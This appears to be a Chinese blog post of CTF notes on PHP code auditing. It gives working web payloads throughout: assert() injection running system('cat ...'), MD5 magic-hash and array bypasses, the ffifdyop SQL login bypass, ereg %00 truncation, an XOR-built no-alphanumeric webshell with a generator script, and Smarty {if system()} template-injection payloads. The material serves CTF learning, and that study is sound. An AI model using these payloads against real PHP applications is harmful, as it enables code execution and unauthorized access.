php代码审计
代码审计覆盖面特别广,分类也很多,而且几乎什么样的比赛都会有,算是比较重要的题目类型之一吧。
姿势:具体问题具体分析,归根结底还是要熟练掌握PHP这门语言,了解一些常见的会造成漏洞的函数及利用方法等。
assert()函数会将读入的代码当做PHP代码来执行,这就方便了!!
进行注入,注入的思路:
-
首先对strpos函数进行闭合,构造一下,page=’)
-
可以把后面
', '..') === false
的给注释掉,构造page=').phpinfo();//
,可以得到回显 -
或者不注释也行,直接插入,构造
page='.phpinfo().'
,也可以看见: -
既然可以执行函数,那就简单了,使用system()函数(system函数详解),构造查看目录的payload:?page='.system("ls").'或者page=').system("ls");//前者直接显示,后者在源码中才能看见。
-
由于源码直接下载有,所以直接构造得到flag的payload:?page=').system("cat templates/flag.php");//或者?page='.system("cat templates/flag.php").'两者都需查看源码!!
HP弱类型hash比较
这是代码审计最基础的题目了,也比较常见。
典型代码:
if(md5($a) == md5($b)) { //注意两个等号“==”
echo $flag;
}
加密函数也有可能是sha1或者其他的,但是原理都是不变的。
这个漏洞的原理如下:
== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较。
0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。
所以只要让a和b在经过相应的函数加密之后都是以0e开头就可以。
以下是一些md5加密后开头为0e的字符串:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
aabg7XSs
还有一个十分特殊的字符串
0e215962017它MD5以后还0e开头
还有一个字符串使用另个一个地方和sql有关ffifdyop
md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c 转成字符串为'or'6�]��!r,��b
可以利用这个越过一些登入
数组返回NULL绕过
PHP绝大多数函数无法处理数组,向md5函数传入数组类型的参数会使md5()函数返回NULL(转换后为False),进而绕过某些限制。
如果上面的代码变成:
if(md5($ a) === md5($ b)) { //两个等号变成三个
echo $flag;
}
那么利用弱类型hash比较缺陷将无法绕过,这时可以使用数组绕过。
使用kekeyy数组进行绕过,md5函数无法处理数组,这样就会返回两个NULL,而两个NULL的md5值是一样的,但是传入的key值可以不同。
http://114.67.246.176:13080/?kekeyy1[]=aaa&kekeyy2[]=bb
传入?a[]=1&b[]=2就可以成功绕过判断。
这样的方法也可以用来绕过sha1()等hash加密函数相关的判断,也可以绕过正则判断,可以根据具体情况来灵活运用。
科学计数法绕过
遇到这种(strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)类似的
可以用1e9之类的来绕过这是用科学计数法来搞
extract()函数存在变量覆盖漏洞
遇到这种
可以直接用?shiyan=&flag=得到flag
正则表达式相关
ereg正则%00截断
ereg函数存在NULL截断漏洞,使用NULL可以截断过滤,所以可以使用%00截断正则匹配。
Bugku ereg正则%00截断
数组绕过
正则表达式相关的函数也可以使用数组绕过过滤,绕过方法详见数组返回NULL绕过。
上面那道题也可以用数组绕过。
单引号绕过preg_match()正则匹配
在每一个字符前加上单引号可以绕过preg_match的匹配,原理暂时不明。
例如有如下代码:
<?php
$p = $_GET['p'];
if (preg_match('/[0-9a-zA-Z]{2}/',$p) === 1) {
echo 'False';
} else {
$pp = trim(base64_decode($p));
if ($pp === 'flag.php') {
echo 'success';
}
}
?>
不含数字与字母的WebShell
如果题目使用preg_match()过滤掉了所有的数字和字母,但是没有过滤PHP的变量符号$,可以考虑使用这种方法。
典型代码:
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag"; ?>
这种方法的核心是字符串的异或操作。
爆破脚本:
chr1 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
chr2 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
for i in chr1 :
for j in chr2 :
print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))
根据题目的要求,用异或出来的字符串拼出合适的Payload,并放在PHP变量中执行。变量名可以用中文。
bugku 聪明的php
- 常用payload
smary中的{if}标签中可以执行的php语句
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../../flag')}{/if}
- passthru()函数
(PHP 4, PHP 5, PHP 7, PHP 8)
passthru — 执行外部程序并且显示原始输出
语法:
passthru(string $command, int &$return_var = ?): void
同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
- cat绕过**
可以使用其他函数如:less
、more
、tac
eval和echo
![[Pasted image 20231226150527.png]]
本文来自博客园作者:P1ggy,转载请注明原文链接:https://www.cnblogs.com/y1y1/p/17950860